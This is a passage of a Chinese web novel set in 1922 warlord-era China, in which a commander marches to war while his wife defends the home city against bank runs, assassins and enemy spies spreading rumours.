沈晚清果断下令,“另外,把我们在天津、上海的流动资金全部抽调回来,高价收购棉花和纱布。还有,我要的那些军用卡车,到位了吗?”
“到了!德国进口的,一共五十辆,都停在西郊大营了。”
“好。”
沈晚清站起身,透过窗户,看着前院匆匆离去的军官们。
“这一仗,陆淮锦在前面拼命,我在后面绝不能让他有后顾之忧。”
正说着,陆淮锦推门走了进来。
他身上的烟味和硝烟味很重,但在进门前,他特意脱掉了那件带着寒气的大衣,搓了搓手,才走到沈晚清身边。
“忙着呢?”他看了一眼桌上的报表,眼中闪过一丝心疼。
“我不忙,你在前
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面才难。”
沈晚清伸手替他整理了一下微乱的领口,“决定了吗?什么时候打?”
陆淮锦没有直接回答,而是转头看向摇篮里正在熟睡的儿子陆念清。小家伙现在已经快一岁了,睡得正香,小嘴微微嘟着。
“就在这两天了。”
陆淮锦伸出手指,轻轻碰了碰儿子的脸蛋,声音低沉,“吴大炮欺人太甚,这一仗避无可避。”
“晚晚。”
他突然转过身,握住沈晚清的手,力道有些大,“这次不一样。直系倾巢而出,我也得去前线督战。北城……就交给你了。”
“你放心去。”
沈晚清反握住他的手,眼神坚定,“粮草、药品、后勤,只要你前线要,我沈晚清就算把家底掏空了,也会给你送上去。”
“若是有人敢趁你不在,在后方捣乱……”
她眼中闪过一丝冷厉,“那把勃朗宁,我还留着呢。”
陆淮锦看着眼前这个与自己并肩而立的女人。
曾几何时,他以为她是需要呵护的菟丝花;如今才发现,她是能与他共抗风雨的橡树。
“好。”
陆淮锦一把将她揽入怀中,下巴抵在她的额头上,“等打赢了这一仗,咱们就带着团圆,去西山看红叶。”
“一言为定。”
“报告!”
门外传来卫兵急促的喊声。
陆淮锦松开沈晚清,眼中的温情瞬间褪去,取而代之的是统帅的威严。
“进来。”
“少帅!前线急电!直系先头部队在一个小时前,向我长辛店防区开了第一枪!双方已经交火!”
陆淮锦深吸一口气,戴上军帽,正了正帽檐。
天空中,乌云密布,雷声隐隐。
一场决定北地霸主归属的超级风暴,终于在民国十一年的这个春天,降临了。
第95章 誓师大会
天刚蒙蒙亮,整个西郊大营却早已人声鼎沸。
寒风卷着沙尘,吹得校场四周的“陆”字军旗猎猎作响。三万名整装待发的第一梯队精锐士兵,列成了整齐的方阵,黑压压的一片,如同沉默的钢铁森林。他们的眼神坚毅,手中的钢枪在晨曦中泛着森冷的寒光。
帅府临时行辕,更衣室。
沈晚清手里拿着那件象征着最高统帅权力的特级上将戎装,正在帮陆淮锦穿戴。
她的动作很慢,很细致。
扣上金色的纽扣,抚平衣领上的褶皱,系上武装带。
“这件衣服,还是爹当年阅兵时穿过的。”
沈晚清轻声说道,声音里听不出一丝颤抖,但她的手指却在微微发凉,“现在穿在你身上,肯定比爹当年还要威风。”
陆淮锦低头看着她。
他能看到她眼底深藏的红血丝,那是昨夜彻夜未眠的痕迹。
“晚晚。”
他伸出手,握住她正在给自己整理领章的手,放在唇边亲了亲,“怕吗?”
“不怕。”
沈晚清抬起头,迎上他的目光,“你是去打胜仗的,我有什么好怕的?家里有我,药厂有我,孩子有我。你只管往前冲。”
陆淮锦心中一热。
他猛地将她拥入怀中,力道大得仿佛要将她揉碎进骨血里。
“等我回来。”
他在她耳边低语,“这一仗打完,我就带你和团圆去骑马,去草原,去你想去的任何地方。”
“好,不许食言。”
沈晚清从旁边的托盘里拿起那把象征指挥权的**和指挥刀,郑重地递给他。
“少帅,请挂帅。”
陆淮锦接过刀枪,眼神瞬间变得锐利如刀。
他转身,大步流星地走出门外。
……
校场点将台。
“大帅到——!!”
随着司仪官一声高喝,激昂的军乐声骤然响起。
陆淮锦披着黑色大氅,在数十名高级将领的簇拥下,登上了高高的点将台。
台下,三万将士齐刷刷地立正敬礼,动作整齐划一,发出的声音如同闷雷滚过大地。
“礼毕!”
陆淮锦走到麦克风前,目光扫过台下那一双双年轻而热切的眼睛。
这里的每一个人,都是别人的儿子,别人的丈夫,别人的父亲。
“弟兄们!”
陆淮锦的声音通过扩音器,传遍了校场的每一个角落,沉稳有力,透着一股穿透人心的力量。
“吴大帅欺人太甚!他要在我们的家门口架起大炮!他要解散我们的军队!他要让我们的父老乡亲变成丧家之犬!”
“告诉我,你们答不答应?!”
“不答应!不答应!不答应!”
三万人的怒吼声汇聚成海啸,震得大地都在颤抖。
“好!”
陆淮锦猛地拔出腰间的指挥刀,刀尖直指苍穹。
“这一仗,不是为了我陆淮锦一个人的荣华富贵!是为了北六省的三千万百姓!是为了我们身后的爹娘妻儿!是为了咱们陆家军的尊严!”
“我陆淮锦今日在此立誓!”
他割破自己的手指,将鲜血抹在刀刃上,眼神决绝:
“此战,我将身先士卒,就在最前线!不破直系终不还!若我后退半步,全军皆可诛之!”
“杀!杀!杀!”
杀气冲天,直冲云霄。
宋副官端上来一碗烈酒。
陆淮锦接过酒碗,面向三军:
“喝了这碗酒,随我出征!马踏中原,一统天下!”
“干!”
他仰头一饮而尽,随即将瓷碗狠狠摔碎在地上。
“啪!”
清脆的碎裂声,就是开战的号角。
……
火车站,军用专列旁。<
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br>誓师大会结束后,大军即刻开拔。
巨大的蒸汽机车喷吐着白烟,像一头蓄势待发的巨兽。
沈晚清抱着已经一岁多的团圆,站在月台上送行。
周围全是哭泣着送别丈夫、儿子的家眷,场面有些凄然。但沈晚清没有哭,她站得笔直,像一棵挺拔的白杨。
“团圆,叫爹爹。”沈晚清哄着怀里的孩子。
“爹……爹爹……”小家伙还不太懂事,但也感受到了离别的气氛,伸着小手想要陆淮锦抱。
陆淮锦走过来,隔着栅栏,最后深深地看了一眼妻儿。
他没有伸手去抱孩子,因为他手上有枪,身上有煞气。
“晚晚,回去吧。风大。”
“我看着你走。”沈晚清固执地说道。
陆淮锦咬了咬牙,猛地转身,跳上了火车。
“开车!”
他不敢再看,怕再看一眼,自己那颗坚硬的心就会软下来。
“呜——!!”
汽笛长鸣,车轮缓缓转动。
钢铁巨兽载着数千名热血男儿,载着北地的希望,轰隆隆地驶向了南方那个绞肉机般的战场。
沈晚清看着那列渐行渐远的火车,直到它彻底消失在视线尽头,化作一个小黑点。
她终于松开了紧咬的嘴唇,尝到了一丝血腥味。
“阿福。”
她转过身,脸上的柔情瞬间收敛,取而代之的是令人胆寒的冷静与干练。
“回药厂。”
“前线打仗是要流血的。陆淮锦在前线拼命,我在后方,绝不能让他少一颗**,缺一瓶药。”
“谁敢在这个时候囤积居奇、发国难财,或者给前线使绊子……”
她摸了摸大衣口袋里那把冰冷的枪:
“我就拿谁祭旗。”
风起云涌。
陆淮锦挂帅出征,直奉大战的序幕,彻底拉开。
第96章 留守后方
大军开拔仅仅三天,北城的天就变了。
不是天气变了,而是人心乱了。
虽然前线还没传来败报,但城里却开始流言四起。有的说直系吴大帅有洋人支持,那是二十万装备精良的德械师;有的说陆少帅刚到前线就中了埋伏,生死未卜;更有甚者,传言陆家军的粮草已经被烧光了。
“少夫人!不好了!”
阿福满头大汗地跑进议事厅,手里拿着一顶被挤歪的帽子,“正阳大街上的几家钱庄和米铺被围了!老百姓听信谣言,说直系要打进来了,手里的陆家军票要变废纸,都在疯狂挤兑大洋,还在抢购粮食!米价一上午涨了三倍!”
“还有,警察局那边报告,城里突然多了好多生面孔,到处煽风点火,还要冲击药厂!”
沈晚清坐在主位上,手里端着一杯热茶,但茶水已经凉透了,她一口没喝。
她穿着一身素净的月白色旗袍,外面罩着一件深灰色的针织开衫,看起来温婉居家,但那双眸子里却透着令人心悸的冷静。
“慌什么。”
她轻轻放下茶杯,瓷杯与桌面碰撞,发出清脆的声响。
“陆淮锦带着几万虎狼之师在前线,这才三天,这帮牛鬼蛇神就坐不住了?”
沈晚清站起身,整理了一下衣襟。
“宋副官随军出征了,现在留守警卫营是谁带队?”
“是赵铁柱!原来的警卫连排长,刚提上来的!”阿福连忙回答。
“让他带上两个连,全副武装,跟我去正阳大街。”
沈晚清拿起桌上的**,熟练地检查**,上膛,别在腰后。
“有人想在后院点火,那我就让他看看,这火会不会烧到他们自己身上。”
……
正阳大街,通宝钱庄门口。
人山人海,哭喊声、咒骂声响成一片。
“还钱!把大洋还给我们!”“陆家要倒了!再不取钱就没了!”“大家冲啊!砸了这黑心钱庄!”
人群中,几个穿着短打、眼神闪烁的汉子正在拼命推搡,煽动着不明真相的百姓往里冲。钱庄的伙计拼命顶着门板,眼看就要撑不住了。
“砰!砰!砰!”
三声震耳欲聋的枪响,骤然在嘈杂的大街上炸开。
人群瞬间安静下来,惊恐地回头望去。
只见街道尽头,几辆军用卡车呼啸而来,在大街中央急刹停下。上百名荷枪实弹的士兵跳下车,迅速拉开警戒线,明晃晃的刺刀在大中午的阳光下泛着寒光。
沈晚清从第一辆车上走下来。
她没有拿喇叭,只是冷冷地扫视着眼前这群失控的人群。
“谁在喊陆家要倒了?”
她的声音不大,但透着一股不容置疑的威严,“站出来,让我看看。”
人群一阵骚动,没人敢说话,大家你看我,我看你,都有些畏惧这位传说中的“女帅”。
“大家别怕!”
人群中,那个带头煽动的汉子眼珠一转,躲在人堆里喊道,“她就是个娘们儿!男人都死绝了才轮到她出来!陆少帅在前线肯定已经败了!大家快抢回自己的血汗钱啊!”
“对!抢钱!法不责众!”
被这一挑拨,人群又要躁动。
沈晚清的目光瞬间锁定了那个声音的来源。
“赵铁柱!”
“到!”一名铁塔般的汉子跨步而出。
“把刚才那个说话的人,给我揪出来。”
“是!”
赵铁柱带着两个兵,像老鹰抓小鸡一样冲进人群,不管那个汉子怎么挣扎,直接拖到了沈晚清面前,一脚踹在膝盖上,让他跪下。
“你……你想干什么?!我是良民!你敢杀良民?!”那汉子还在色厉内荏地大叫。
“良民?”
沈晚清冷笑一声,走上前,用脚尖挑起那汉子的衣摆,露出里面藏着的一把日式南部**。
“良民会带着这种东西逛街?”
周围的百姓一片哗然。
“是奸细!是日本人!”
沈晚清不再看他,转身面向百姓,声音朗朗:
“乡亲们!陆少帅在前线流血拼命,是为了保大家的太平日子!前线还没开打,这帮杂碎就在后面造谣,想乱我们的军心,断我们的粮草!”
“你们挤兑的每一块大洋,抢的每一粒米,都是捅向前方将士的一把刀!”
她一挥手,身后的士兵抬上来几个沉甸甸的大箱子,“哐当”一声打开。
白花花的大洋,金灿灿的金条,在阳光下熠熠生辉。
“陆家没倒!我也没死!”
沈晚清指着那些钱,“钱就在这儿!谁想兑,现在就兑!但我把话放在这儿,今天兑了的,以后陆家军打胜仗回来,分红利、减赋税的时候,就没你们的份!”
看着那满箱的真金白银,再看看沈晚清那笃定
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的神情,恐慌的情绪瞬间消散了大半。
“少夫人……我们信您!”“对!少帅那是战神,怎么可能会输!”“都怪这帮奸细!打死他!”
**的风向瞬间逆转。
沈晚清看着那个跪在地上的奸细,眼中闪过一丝狠厉。
“拖下去,就地正法。把尸体挂在城门楼上,告诉那些躲在阴沟里的老鼠——”
“只要我沈晚清在北城一天,这天,就翻不了。”
……
深夜,帅府书房。
处理完白天的骚乱,沈晚清疲惫地靠在椅子上。
阿福端来一碗参汤:“东家,都处理好了。那几个带头**的都被抓了,审出来了,是直系安**来的探子,还有几个是日本浪人假扮的。”
“嗯。”
沈晚清揉了揉太阳穴,“米价压下来了吗?”
“压下来了。咱们药厂的流动资金顶上去了,还有商会的那帮老板,看您这么硬气,也不敢囤积居奇了。”
沈晚清点了点头,目光落在了书桌上那台静默的电报机上。
已经是深夜了,前线还没有消息传来。
虽然她在外面表现得坚不可摧,但只有在这无人的深夜,她才敢露出那一丝脆弱。
“陆淮锦……”
她伸手抚摸着那冰冷的机器,轻声呢喃,“家里我都守住了。你呢?你那里怎么样了?”
就在这时,电报机突然“滴滴滴”地响了起来。
在寂静的夜里,这声音如同天籁。
译电员迅速记录,片刻后,兴奋地送上一张纸条:
“少夫人!霸县捷报!少帅率第一师夜袭敌营,全歼直系先头旅!首战告捷!”
沈晚清看着那行字,紧绷了一整天的神经终于松了下来。
眼泪,无声地滴落在电报纸上。
“赢了……好……好……”
她擦干眼泪,站起身走到窗前,推开窗户。
窗外,月明星稀。
虽然相隔千里,虽然战火纷飞,但此刻,她仿佛能看到那个男人在战火中回眸,对她露出那个不可一世的笑容。
但这只是开始。
沈晚清知道,更艰难的考验还在后面。而接下来,她要做一个更加艰难的决定——一个关于“离别”的决定。
因为她发现,那些奸细的目标不仅仅是制造混乱,他们的眼睛,已经盯上了帅府里最软弱的一环——小念清。
第97章 别离
深夜,一阵婴儿尖锐的啼哭声,骤然划破了深夜的寂静。
“谁?!抓住他!”
紧接着,是奶妈惊恐的尖叫声和玻璃破碎的声音。
沈晚清几乎是从床上弹起来的。她连鞋都顾不上穿,拔出枕头下的**,赤着脚冲进了隔壁的婴儿房。
“念清!”
婴儿房里一片狼藉。窗户大开,寒风灌入,吹得窗帘狂舞。
奶妈瘫坐在地上,瑟瑟发抖,怀里死死护着还在大哭的小念清。而在窗台下,一滩黑红色的血迹触目惊心——那是负责守夜的暗卫拼死留下的。
“少夫人!有人……有人要抢小少爷!”奶妈哭喊道,“是个黑衣人,身手好快,若不是暗卫挡了一下,小少爷就被带走了!”
沈晚清冲过去,一把抱过孩子。
小念清受到了惊吓,哭得小脸通红,两只小手紧紧抓着母亲的衣襟不肯松开。
“没事了……团圆不怕,妈妈在。”
沈晚清轻轻拍着孩子的后背,但她的手却在剧烈颤抖。
她低头检查,发现孩子的襁褓上竟然被划开了一道口子,里面掉出一张纸条。
沈晚清捡起纸条,借着昏暗的灯光,看清了上面的字:
【不想让陆少帅在前线分心,就拿这孩子的命来换。——直系暗杀团】
“混账!”
沈晚清将纸条狠狠攥成一团,眼底涌起滔天的杀意。
赵铁柱带着大批警卫冲了进来,看到这一幕,羞愧得单膝跪地:“少夫人!属下失职!让刺客溜进来了!”
“不怪你们。”
沈晚清深吸一口气,强迫自己冷静下来,“对方是顶尖的**,甚至可能有忍术高手的影子。帅府虽然守卫森严,但只有千日做贼,没有千日防贼的道理。”
她看着怀里渐渐止住哭声、却依然惊魂未定的儿子,心中做出了一个艰难的决定。
只要念清还在帅府,这样的刺杀就不会停止。
一旦孩子落入敌手,前线的陆淮锦就会被扼住咽喉,这场仗,陆家必败无疑。
“阿福。”
沈晚清转过身,声音冷得像冰,却又透着无尽的悲凉。
“备车。联系天津法租界的神父,还有济世堂的老掌柜。”
“东家,您是想……”阿福脸色一变。
“送团圆走。”
沈晚清低下头,亲了亲孩子的额头,眼泪终于忍不住滑落,“送去天津租界。那里有洋人庇护,而且济世堂的根基深,直系的手伸不进去。”
“可是……小少爷才一岁多啊!这么小就离开娘……”奶妈忍不住哭道。
“正因为他小,才更要活下去。”
沈晚清狠下心肠,“若是留在这里,他就是别人威胁他爹的筹码。我宁愿忍受骨肉分离之苦,也不能让他成为陆家的罪人。”
……
北城西郊,隐秘路口。
黎明前最黑暗的时刻。
一辆不起眼的黑色轿车停在路边的树林里。
沈晚清抱着熟睡的小念清,坐在车里,迟迟不肯松手。
她贪婪地看着儿子的小脸,手指轻轻描绘着他的眉眼。这眉眼像极了陆淮锦,倔强又英气。
“团圆,别怪娘亲。”
她在孩子耳边轻声呢喃,“爹爹在前线打坏人,娘亲在家里守基业。这里太危险了,你先去躲一躲。等爹娘把这天下扫干净了,就去接你回家。”
“哇……”
似乎是感受到了离别的气息,熟睡中的孩子突然哼唧了一声,小手下意识地抓住了沈晚清的一根手指。
沈晚清的心都要碎了。
她咬着牙,一根根掰开那稚嫩的手指,将孩子递给了早已等候在旁的阿福。
“阿福,我的命,就交给你了。”
沈晚清看着这个忠心耿耿的老仆,“到了天津,改名换姓,不要让人知道他是陆家的种。除非我和少帅亲自去接,否则……死也不能暴露。”
“东家放心!”
阿福老泪纵横,郑重地磕了个头,“阿福就是拼了这条老命,也会护小少爷周全!”
“走!”
沈晚清猛地转过身,背对着轿车,不再看一眼。
她怕再看一眼,自己就会后悔。
“嗡——”
汽车引擎发动,载着她唯一的骨肉,消失在茫茫的晨雾中。
沈晚清站在寒风中,听着车声远去,直到四周
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重新恢复死寂。
她缓缓抬起头,擦干脸上的泪痕。
那一刻,那个温柔的母亲消失了,取而代之的,是那个杀伐果断的大帅夫人。
软肋送走了。
现在,她是一身铠甲。
“赵铁柱。”
“在!”
“找个身形相似的孩子,抱回帅府。对外宣称小少帅受了惊吓,正在闭门养病,谢绝见客。”
沈晚清眯起眼睛,看着远处泛起鱼肚白的天空,声音寒冷如铁:
“他们不是想刺杀吗?那就让他们来。”
“来一个,我杀一个。”
“来一对,我杀一双。”
……
次日,帅府。
北城的局势依旧紧张,但关于“小少帅**”的流言却突然平息了,取而代之的是帅府加强戒备的消息。
沈晚清像往常一样坐在议事厅处理公务。
她的手边,放着那张陆淮锦出征前留下的合影。
照片上,陆淮锦抱着孩子,她依偎在他身旁,一家三口,岁月静好。
“淮锦,孩子我送走了,很安全。”
她在心里默默说道,“家里没有后顾之忧了。”
“接下来,就看你的了。”
就在这时,机要员急匆匆地送来一份加密电报。
“少夫人!前线急电!”
沈晚清接过电报,手微微一紧。
算算时间,前线的主力决战应该已经开始了。
她深吸一口气,展开电文。
上面的内容简短而惊心:
【霸县防线遭遇敌军主力猛攻,双方激战三昼夜,伤亡惨重。敌军使用重炮群覆盖,我军阵地数次易手,战事陷入胶着。】
沈晚清看着“胶着”二字,眉头紧锁。
没有败,但也没有胜。
这是一场硬碰硬的消耗战。
“回电。”
沈晚清站起身,目光投向南方,语气坚定:
“告诉少帅:后方安稳,粮草充足,药厂24小时不停工。家里一切有我,勿念。盼君——大胜归来。”
暂时的别离,是为了更好的重逢。
既然把最爱的人都送走了,那就必须赢下这一局,才对得起这场生离。
第98章 前线战报
“轰!轰!轰!”
大地在颤抖,泥土混合着残肢断臂被炸上几十米的高空。空气中充斥着浓烈的硝烟味和令人作呕的血腥气。
这里是陆直大战最惨烈的核心战场——霸县防线。
直系吴大帅集结了最精锐的第三师和两个混成旅,配合刚从洋人手里买来的二十门“克虏伯”重炮,对着陆家军的阵地进行了整整三天三夜的狂轰滥炸。
掩体里,尘土簌簌落下。
“少帅!一团的阵地丢了!三营长阵亡,弟兄们快顶不住了!”
一名通讯参谋满脸黑灰地冲进来,声音带着哭腔,“敌人的火力太猛了!咱们的炮兵射程不够,完全是被动挨打啊!请求撤退到二线阵地休整!”
指挥部里,气氛压抑到了极点。
几个师长面面相觑,也都露出了怯战的神色。
“撤退?”
一直背对着众人、站在地图前的陆淮锦缓缓转过身。
他几天没合眼了,眼窝深陷,胡茬青黑,那件特级上将的戎装上也沾满了泥点。但他站在那里,就像是一根定海神针,让人原本慌乱的心莫名地安定下来。
“谁敢言退?”
陆淮锦的声音不大,却冷得像冰,“我们身后就是天津,是北城。退一步,就是把这北六省的门户拱手让人。到时候,你们还有脸回去见江东父老吗?”
“可是少帅,硬拼不是办法啊!这是拿弟兄们的命去填坑!”一位老将痛心疾首地说道。
“谁说我要硬拼?”
陆淮锦走到沙盘前,拿起指挥棒,重重地点在了一个不起眼的位置——信安镇。
“吴大帅这只老狐狸,仗着火炮优势,想跟我们打阵地战、消耗战。他以为我会像个莽夫一样跟他对轰。”
陆淮锦嘴角勾起一抹嘲讽的弧度,“但他忘了一件事。他的重炮虽然厉害,但移动笨重,且极度依赖**补给。”
“信安镇?”参谋长眼睛一亮,“那是他们大后方,也是运粮河的必经之路!”
“没错。”
陆淮锦眼神锐利如刀,“这两天我一直示敌以弱,让前线死扛,就是为了让他以为我黔驴技穷,从而放松后方的警惕。”
“传我命令!”
陆淮锦猛地将指挥棒扔在沙盘上,眼神中爆发出惊人的杀气:
“第一,命令正面阵地,把所有的轻重**都给我架起来!不管敌人怎么轰,只要步兵敢冲锋,就给我狠狠地打!必须把吴大帅的主力死死钉在阵地上,寸步不能退!”
“第二,让炮兵营把剩下的所有炮弹,都给我集中起来!今晚子时,对准敌军指挥所方向,进行一轮覆盖式射击!动静越大越好,我要让吴大帅以为我要拼命了!”
“第三……”
陆淮锦看向站在角落里的一名沉默寡言的军官——特务营营长。
“张营长,你的特务营准备好了吗?”
“时刻准备着!少帅!”张营长立正敬礼,眼神如狼。
“今晚子时,趁着炮火掩护,你带五百名敢死队,轻装简行,带上足够的**,从侧翼的芦苇荡穿插过去!”
陆淮锦的手指在地图上划出一道诡异的弧线,直插敌人心脏:
“绕过正面战场,直扑信安镇!给我把他们的**库和粮仓,统统炸上天!”
“记住,这是斩首行动。要么成功,要么……成仁。”
“是!保证完成任务!不炸毁**库,属下提头来见!”
布置完这一切,陆淮锦疲惫地坐回椅子上,揉了揉眉心。
这是一招险棋。
如果特务营失败,正面阵地
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可能会因为**耗尽而崩溃。
但他必须赌。
“少帅,喝口水吧。”警卫员递上来一个军用水壶。
陆淮锦接过水壶,却没有喝,而是摩挲着挂在胸前的那枚平安扣——那是临行前,沈晚清亲手给他戴上的。
“晚晚……”
他在心里默念着那个名字。
“你说过,你在后方守家,让我只管往前冲。”
“家里有你,我放心。”
“但这前线的僵局,必须由我来打破。”
……
深夜,霸县前线。
子时已到。
“开炮——!!!”
随着陆家军炮兵阵地的一声令下,数百发炮弹呼啸着划破夜空,如同流星雨般砸向直系军阀的阵地。
火光冲天,**声震耳欲聋。
正如陆淮锦所料,吴大帅果然被这突如其来的猛烈炮火吸引了全部注意力,以为陆家军要发动全线反击,急忙调动预备队增援前线,后方防守瞬间变得空虚。
而在侧翼那片漆黑的芦苇荡里。
五百名脸上涂着黑炭、口衔短刀的敢死队员,正如幽灵般涉水而过,悄无声息地摸向敌人的命脉。
“少帅,特务营已经出发了。”参谋长低声汇报。
陆淮锦站在观察孔前,借着炮火的闪光,盯着远处的黑暗。
他的手紧紧握着指挥刀的刀柄,指节泛白。
胜负,在此一举。
然而,就在陆淮锦全神贯注于战局之时,他并不知道,在他那看似固若金汤的“大后方”北城,一股阴冷的暗流正在悄然渗透。
战场从来就不止一处。
明面上的敌人是吴大帅,而暗地里,另一条早已蛰伏多时的“毒蛇”,已经吐出了信子,瞄准了那个正在独自支撑大局的女人——沈晚清。
第99章 特务渗透
夕阳如血,将古老的城墙染成暗红色。
因为霸县前线的战事,大量的流民涌向了相对安稳的北城。城门口人头攒动,拖家带口的难民排成了长龙,等待着守军的盘查。
而在距离北城三百里外的一处隐秘公馆里。
一个身穿长衫、手里盘着两颗铁核桃的中年男人,正眯着那双标志性的三角眼,听着手下的汇报。
他就是张宗昌,绰号“毒蛇张”,也是一直觊觎北六省地盘的军阀。
“大帅,陆淮锦的主力已经被吴大帅死死拖在霸县了。现在的北城,就是一座空城。”
副官一脸谄媚地说道,“那个沈晚清虽然厉害,但毕竟是个女流之辈,还要带孩子,肯定分身乏术。”
“嘿嘿,陆淮锦这小子太狂了,真以为这天下是他一个人的?”
张大帅转动着手中的铁核桃,发出咔咔的声响,眼中闪烁着阴毒的光芒,“既然他前门拒虎,那就别怪老子后门进狼。”
“传令给‘影子’小组。”
“立刻渗透进北城!不必急着搞暗杀,先把水搅浑!给我烧他的粮仓,炸他的药厂,散布谣言!”
“我要让陆淮锦在前线打着打着,一回头,发现家没了!”
……
北城,华夏制药厂施粥棚。
为了安置难民,稳定民心,沈晚清在药厂外设立了十几个施粥点,每日布施。
今天,她特意带着警卫连来视察。
“大家排好队!每个人都有!”
阿福带着伙计们正在分发馒头和热粥。
沈晚清站在不远处,穿着一身干练的骑马装,披着黑色大衣,手里拿着马鞭,目光如炬地扫视着这些难民。
不知为何,从今天早上开始,她的右眼皮就一直跳个不停。那是多年来在生死边缘磨练出的直觉——有危险正在靠近。
“少夫人,您歇会儿吧。”赵铁柱递上水壶,“这些难民都查过了,没什么问题。”
“没问题才是最大的问题。”
沈晚清并没有接水壶,而是眯起眼睛,看向难民队伍的末尾。
那里有几个穿着破烂棉袄、满脸灰土的“难民”,正蹲在墙角喝粥。
乍一看,他们和其他难民没什么两样,眼神麻木,动作迟缓。
但沈晚清的目光,却落在了其中一人的手上。
那人端着碗,虎口处有着厚厚的老茧。那是常年握枪才会留下的痕迹,绝不是种地的锄头能磨出来的。
而且,虽然他们在低头喝粥,但眼角的余光却始终在四处游移,观察着城防的布哨位置,甚至……时不时地瞥向药厂的围墙。
“铁柱。”
沈晚清压低声音,不动声色地整理了一下手套,“看到墙角那几个人了吗?”
“看到了。怎么了少夫人?”
“中间那个戴破草帽的,脚上穿的是千层底布鞋,虽然上面全是泥,但那是山东那边的样式。还有,你看他喝粥的姿势,左手下意识地护在腰间。”
沈晚清眼神一冷,“腰里有货。”
赵铁柱一惊,手就要往枪套上摸。
“别动!”
沈晚清低喝一声,“这里全是百姓,一旦开枪,必然引起踩踏和恐慌。而且,这几个人只是探路的卒子,我们要找的,是背后的‘帅’。”
“那怎么办?”
“放长线,钓大鱼。”
沈晚清转过身,装作若无其事的样子,“传令给暗卫,全城布控。盯死这几个生面孔,看看他们晚上跟谁接头,住在哪里。”
“另外……
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”
她看了一眼身后那座正在日夜赶工的药厂,心中升起一股寒意。
药厂是陆家军的命脉,也是前线将士的保命符。如果这里出了事,后果不堪设想。
“把警卫营的主力调过来,把药厂给我围成铁桶。一只苍蝇也不许放进去。”
“是!”
……
深夜,北城贫民窟,一间破庙内。
白天那几个被沈晚清盯上的“难民”,此刻正**在这里。
他们洗去了脸上的伪装,露出了精悍凶狠的真面目。
“头儿,点踩好了。”
那个虎口有茧的汉子低声说道,“那个娘们儿防备很严,药厂全是兵,根本混不进去。想**厂,难。”
阴影中,一个穿着长衫、像个教书先生的男人走了出来。他是“影子”小组的组长。
“强攻当然不行。”
组长阴恻恻地笑了,“张大帅也没指望我们几个能炸平药厂。我们的任务,是诛心。”
“诛心?”
“对。”
组长从怀里掏出一叠早已印好的传单,还有几件染血的破烂军装——那是陆家军的军服。
“明天开始,这北城就要热闹了。”
他将那些东西分发给手下,眼中闪烁着毒蛇般的光芒:
“去茶馆,去酒楼,去难民营。”
“告诉所有人——前线败了。”
“告诉他们,陆少帅……**。”
破庙外的风,呜咽着吹过。
沈晚清虽然察觉到了特务的潜入,并加强了物理上的防御,但她万万没想到,敌人的第一刀,并没有砍向药厂,而是砍向了北城最脆弱的东西——人心。
一场比真刀**更可怕的“谣言风暴”,正在这寂静的深夜里,悄然酝酿。
第100章 流言四起
往日里热闹但有序的早市,今天却透着一股诡异的惊惶。
“听说了吗?霸县前线败了!”“嘘!别乱说,要杀头的!”“什么乱说?我二舅姥爷的邻居在城外看见了,好几辆卡车拉着**回来的,全是陆家军的灰军装!听说……听说少帅的座驾都被炸飞了!”
茶馆角落里,几个看似普通的“茶客”正压低声音,绘声绘色地描述着并不存在的惨败景象。
而在最显眼的公告栏上,不知何时被人贴了一张血淋淋的照片。虽然模糊,但照片里那半截染血的“陆”字帅旗,却像一把锤子,狠狠砸在了北城百姓的心口上。
“少帅……战**?”
恐惧,像瘟疫一样,以不可思议的速度在全城蔓延。
仅仅一个上午,米店被抢空,钱庄被挤爆,甚至连正在赶工的华夏制药厂,也有不少工人人心惶惶,无心生产。
……
帅府,作战通讯室。
“滴滴滴……滋滋滋……”
电报机发出的不再是清脆的信号声,而是令人烦躁的电流杂音。
“怎么回事?还连不上吗?”
沈晚清站在发报员身后,双手紧紧抓着椅背,指节泛白。她的脸色虽然依旧镇定,但额头上细密的冷汗却暴露了她内心的焦灼。
从今天凌晨开始,霸县前线的电波就突然中断了。
“报告少夫人……”
通讯科长满头大汗地摘下耳机,声音颤抖,“连不上。不仅是霸县,连通往天津、保定的几条备用线路也全断了。好像……好像是有人切断了我们的有线电缆,无线电也被强信号干扰了。”
“这是有预谋的。”
沈晚清的心猛地沉了下去。
谣言四起,通讯中断。这是标准的“关门打狗”战术。
敌人在这一刻,切断了她与陆淮锦的所有联系,把她变成了一座孤岛。
“少夫人!外面……外面乱了!”
赵铁柱冲了进来,神色慌张,“城防营的刘团长带着几十个军官在门口,说是要见您!他们手里拿着一件带血的少帅军大衣,非说前线已经完了,要您给个说法!”
“带血的军大衣?”
沈晚清眼神一凛。陆淮锦的军大衣就在她房里挂着,外面那件肯定是假的。
但这帮特务准备得太充分了,连这种道具都做得出来,显然是想策动兵变。
“走,出去看看。”
沈晚清整理了一下衣襟,拔出腰间的勃朗宁,大步向外走去。
……
帅府大门口。
气氛剑拔**张。
几十名全副武装的军官堵在门口,与赵铁柱的警卫连对峙。周围还围满了看热闹的百姓和混在其中的特务。
“让沈晚清出来!”“我们要真相!少帅到底死没死!”“如果少帅**,这仗还打个屁!大家赶紧散伙保命吧!”
刘团长手里提着一件破烂染血的黑色大氅,情绪激动地挥舞着。
“吵什么!”
一声冷喝,压住了喧嚣。
沈晚清站在台阶之上,目光如电,居高临下地俯视着众人。
“刘团长,你拿着一件从**堆里扒出来的破烂,就敢来帅府逼宫?”
“少夫人,这可是少帅的大氅!”刘团长指着那件衣服,“这上面的金线绣花,这料子,做不了假!前线逃回来的弟兄说了,少帅阵地被重炮覆盖,尸骨无存……”
“放肆!”
沈晚清猛地拔枪,对着天空就是一枪。
“砰!”
**让躁动的人群瞬间安静了一秒。
“陆家军还在,霸县还在,我就站在这里!”
沈晚清指着那个刘团长,厉声道,“陆淮锦是天生的战神,几门炮就能炸死他?你们跟了他这么多年,就这么不信他?”
“信?我们也想信啊!”
刘团长红着眼,“可是电报断了!补给线也断了!现在全城都在传少帅**!少夫人,您要是能联系上少帅,哪怕让他说一句话,我们立马跪下磕头认罪!可您能吗?”
沈晚清僵住了。
她不能。
通讯被切断,这是她现在最大的死穴。
看着沈晚清沉默,原本被震慑住的人群再次骚动起来。
“她不说话了!她是心虚了!”“少帅真的**!”“完了……北城完了……”
绝望的情绪瞬间爆发。有些心理素质差的士兵甚至扔掉了手里的枪,坐在地上嚎啕大哭。
这就是“攻心”的可怕。
不需要一兵一卒,只要摧毁了他们的信仰,这支钢铁之师就会瞬间瓦解。
“都给我闭嘴!”
沈晚清看着这即将失控的局面,只能祭出最后的一招。
